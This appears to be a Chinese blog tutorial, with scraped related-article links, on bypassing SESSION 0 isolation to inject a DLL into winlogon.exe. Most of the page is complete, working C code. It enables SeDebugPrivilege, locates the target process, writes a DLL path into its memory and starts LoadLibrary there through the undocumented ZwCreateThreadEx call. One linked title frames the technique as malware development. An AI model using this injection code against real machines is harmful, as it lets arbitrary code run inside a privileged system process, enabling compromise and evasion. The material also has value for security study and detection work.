突破SESSION 0隔离的远程线程注入
与传统的 CreateRemoteThread 函数实现的远线程注入 DLL 的唯一区别在于,突破 SESSION 0 远线程注 入技术是使用比 CreateRemoteThread 函数更为底层的 ZwCreateThreadEx 函数来创建远线程,而具体的远线程注入原理是相同的。
SESSION 机制使得其创建一个进程之后并不会立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。在使用 CreateRemoteThread 执行远线程创建的时候,会调用底层函数ZwCreateThreadEx函数执行创建远程线程,在进行服务进程的注入的时候, ZwCreatedThreadEx 的参数 CreateSuspended(也就是 CreatedThread 标志位)一直为1,这也就直接导致注入的线程一直处于挂起状态,无法运行。
过程:
- 基本思路:服务运行在高权限,因此在注入之前需要先提权,获取相应的权限
- 获取要注入的目标进程的 PID
- 执行注入操作
- 执行注入操作使用函数 ZwCreateRemoteThreadEx
#include<stdio.h>
#include<Windows.h>
#include<Tlhelp32.h>
#include <tchar.h>
#define DestProc _T("winlogon.exe") //要注入的Session 0的进程,截屏进程 //提升为调试权限
BOOL SunEnableDebugPrivilege(BOOL IsEnable) //IsEnable为TURE就是升成xx权限,而FALES为收回权限
{
BOOL IsOk = FALSE;
HANDLE TokenHandle; //打开当前进程,获取其令牌句柄,用于调整权限
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
{
TOKEN_PRIVILEGES TokenPrivileges; //定义调整权限的填充值 TokenPrivileges.PrivilegeCount = 1; //要调整权限的数量
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &TokenPrivileges.Privileges[0].Luid); //查询xx权限对应的id Luid
TokenPrivileges.Privileges[0].Attributes = IsEnable ? SE_PRIVILEGE_ENABLED : 0; //三目运算,IsEnable为TURE就取SE_PRIVILEGE_ENABLED,而FALES为0
AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); //调整进程权限
IsOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(TokenHandle);
}
return IsOk;
} // char双字转char单字
BOOL SunUnicodeToAnsi(WCHAR* WideString, char** MultiByteString)
{ DWORD MultiByteStringLength; if (!WideString)
{
return FALSE;
} MultiByteStringLength = WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK,
WideString, -1, NULL, 0, NULL, NULL); *MultiByteString = (char*)malloc(MultiByteStringLength * sizeof(CHAR));
if (*MultiByteString == NULL)
{
return FALSE;
}
WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK,
WideString, -1, *MultiByteString, MultiByteStringLength, NULL, NULL); return TRUE; } // 枚举进程,找到目标进程
BOOL GetProcessIDByName(TCHAR *name, PDWORD pid)
{
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//拍进程快照
if (INVALID_HANDLE_VALUE == hProcessSnap)
{
printf("CreateToolhelp32Snapshot Error :%d", GetLastError());
}
BOOL Ret = Process32First(hProcessSnap, &pe32);//枚举快照
while (Ret)
{
SIZE_T len = _tcslen(pe32.szExeFile);
if (!_tcscmp(pe32.szExeFile,name))
{
*pid = pe32.th32ProcessID; // 得到目标进的Pid
break;
}
Ret = Process32Next(hProcessSnap, &pe32);//下一进程信息
}
return TRUE;
} int main()
{
//基本思路:服务运行在高权限,因此在注入之前需要先提权,获取相应的权限
//获取要注入的目标进程的PID
//执行注入操作
//执行注入操作使用函数ZwCreateRemoteThreadEx /********************************Step1:当前进提权**********************************/ HANDLE hProcess = GetCurrentProcess();
DWORD pid;
const char* DestPower = "SeDebugPrivilege";
BOOL Ret = SunEnableDebugPrivilege(TRUE); // 当前进程提权
if (!Ret)
{
MessageBox(0, _T("提权失败"), _T("失败"), 0);
return 0;
} /********************************Step2:获得目标进程句柄**********************************/ // 提权之后,匹配要注入的进程的PID,做进程遍历
BOOL bRet = GetProcessIDByName((TCHAR*)DestProc, &pid);
if (!bRet)
{
MessageBox(0,_T("获得id失败"), _T("失败"), 0);
return 0;
}
//打开目标进程句柄
HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);//打开进程句柄 if (!handle)
{
DWORD Error = GetLastError();
printf("%d", Error);
MessageBox(0,_T("打开句柄失败"), _T("失败"), 0); return 0;
} /********************************Step3:将dll路径写入到目标进程中**********************************/ //申请空间,分配相应的权限
LPVOID lpaddress = VirtualAllocEx(handle, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
if (!lpaddress)
return 0; TCHAR DllFullPath[MAX_PATH] = { 0 };
ULONG32 DllFullPathLength = 0;
GetCurrentDirectory(MAX_PATH, DllFullPath); // 获得当前进程这个路径
// L"C:\\Users\\Lenovo\\source\\repos\\测试\\测试" _tcscat_s(DllFullPath, _T("\\mydll.dll")); // 要注入dll的完整路径
// L"C:\\Users\\Lenovo\\source\\repos\\测试\\测试\\mydll.dll"
DllFullPathLength = (_tcslen(DllFullPath) + 1) * sizeof(TCHAR); // 向申请的内存空间写入数据(dll完整路径)
bool write = WriteProcessMemory(handle, lpaddress, DllFullPath, DllFullPathLength, NULL);
if (!write)
return 0; /********************************Step4:调用ntdll中函数ZwCreateThreadEx启动远程线程**********************************/ // 加载ntdll.dll
HMODULE hNtdll = LoadLibrary(_T("ntdll.dll"));
if (NULL == hNtdll)
{
printf("加载ntdll.dll失败!");
CloseHandle(hProcess);
return FALSE;
}
// 获取LoadLibrary函数的地址
HMODULE kernel32Base = GetModuleHandle(_T("kernel32.dll"));
#ifdef _UNICODE
FARPROC pFuncProcAddr = GetProcAddress(kernel32Base, "LoadLibraryW");
#else
FARPROC pFuncProcAddr = GetProcAddress(kernel32Base, "LoadLibraryA");
#endif // _UNICODE if (NULL == pFuncProcAddr)
{
printf("获取LoadLibrary函数地址失败!");
CloseHandle(hProcess);
return FALSE;
}
// 获取目标函数地址ZwCreateThreadEx
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits, // 32/64位不同点
SIZE_T StackSize, // ... ...
SIZE_T MaximumStackSize,
LPVOID pUnkown
);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize, // 32/64位不同点
DWORD dw1, // ... ...
DWORD dw2,
LPVOID pUnkown
);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx =
(typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("获取ZwCreateThreadEx函数地址失败!");
CloseHandle(hProcess);
return FALSE;
}
HANDLE hRemoteThread = NULL;
DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, handle,
(LPTHREAD_START_ROUTINE)pFuncProcAddr, lpaddress, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
printf("目标进程中创建线程失败!");
CloseHandle(hProcess);
system("PAUSE");
return FALSE;
}
printf("注入成功");
system("PAUSE");
return TRUE;
}
测试结果:
突破SESSION 0隔离的远程线程注入的更多相关文章
- 恶意软件开发——突破SESSION 0 隔离的远线程注入
一.前言 在Windows XP,Windows Server 2003以及更早的版本中,第一个登录的用户以及Windows的所有服务都运行在Session 0上,这样的做法导致用户使用的应用程序可能 ...
- 远程线程注入DLL突破session 0 隔离
远程线程注入DLL突破session 0 隔离 0x00 前言 补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL. 0x01 介绍 通过CreateRemoteTh ...
- 关于突破 SESSION 0 隔离场景发现的一些问题
0x00 Tricks 0x01 用ZwCreateThreadEx 在 Windows 10 下直接通过管理员权限+SeDebugPrivilege启用. 0x02 用CreateRemoteThr ...
- 远程线程注入突破SESSION 0
远程线程注入突破SESSION 0 SESSION 0 隔离 在Windows XP.Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Se ...
- 远程线程注入DLL
远程线程注入 0x00 前言 远程线程注入是一种经典的DLL注入技术.其实就是指一个新进程中另一个进程中创建线程的技术. 0x01 介绍 1.远程线程注入原理 画了一个图大致理解了下远程线程注入dll ...
- 远程线程注入dll,突破session 0
前言 之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入 其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可 ...
- windows-CODE注入(远程线程注入)
远程线程注入(先简单说,下面会详细说)今天整理下代码注入(远程线程注入),所谓代码注入,可以简单的理解为是在指定内进程里申请一块内存,然后把我们自己的执行代码和一些变量拷贝进去(通常是以启线程的方式) ...
- 解决vista和win7在windows服务中交互桌面权限问题:穿透Session 0 隔离
在某国外大型汽车公司BI项目中,有一个子项目,需要通过大屏幕展示销售报表,程序需要自动启动和关闭.开发人员在开发过程中,发现在Win7的service中不能直接操作UI进程,调查过程中,发现如 ...
- [转]解决vista和win7在windows服务中交互桌面权限问题:穿透Session 0 隔离
服务(Service)对于大家来说一定不会陌生,它是Windows 操作系统重要的组成部分.我们可以把服务想像成一种特殊的应用程序,它随系统的“开启-关闭”而“开始-停止”其工作内容,在这期间无需任何 ...
- 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程
简介 大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...
随机推荐
- springBoot项目打jar包
系列导航 springBoot项目打jar包 1.springboot工程新建(单模块) 2.springboot创建多模块工程 3.springboot连接数据库 4.SpringBoot连接数据库 ...
- vue Promise的使用
一.Promise是什么? Promise是异步编程的一种解决方案. 二.那什么时候我们会来处理异步事件呢? 1. 一种很常见的场景应该就是网络请求了. 我们封装一个网络请求的函数,因为不能立即拿到结 ...
- python · ssh · SQL | python 连接远程 SQL 数据库
python 连接本地 SQL 的 教程存档. 如果要连接远程的 SQL 数据库,需要先开一个 ssh 连接,在 ssh 连接里写 pymysql 的 connect 代码. 代码如下: ''' pi ...
- 【BAT】递归替换文件后缀
@echo off set /p src_suffix=please input origin suffix: set /p des_suffix=please input target suffix ...
- [转帖]PD Config Learn the PD configuration file
The PD configuration file supports more options than command-line parameters. You can find the defau ...
- [转帖]wiki Rust
Rust[编辑] 维基百科,自由的百科全书 跳到导航跳到搜索 此条目介绍的是由Mozilla主导开发的编程语言.关于"rust"在英文中的本意,请见"铁锈 ...
- [转帖]mysql8.0的RPM方式安装
https://www.cnblogs.com/asker009/p/15072354.html 1. 下载 https://dev.mysql.com/downloads/ 使用wget下载yum的 ...
- [转帖]深入理解mysql-第十章 mysql查询优化-Explain 详解(上)
目录 一.初识Explain 二.执行计划-table属性 三.执行计划-id属性 四.执行计划-select_type属性 一条查询语句在经过MySQL查询优化器的各种基于成本和规则的优化会后生成一 ...
- nginx 反向代理 负载均衡的做法
项目上使用负载均衡的方法, 感觉最简单的办法其实是 http的 upstream 注意需要保留端口号信息. worker_processes 4; events { worker_connectio ...
- vue启动报错_interopRequireDefault is not a function
起因 今天接触一个项目vue. 在安装好环境之后,启动的时候报错_interopRequireDefault is not a function 解决的办法:我觉得可能是因为node_modules安 ...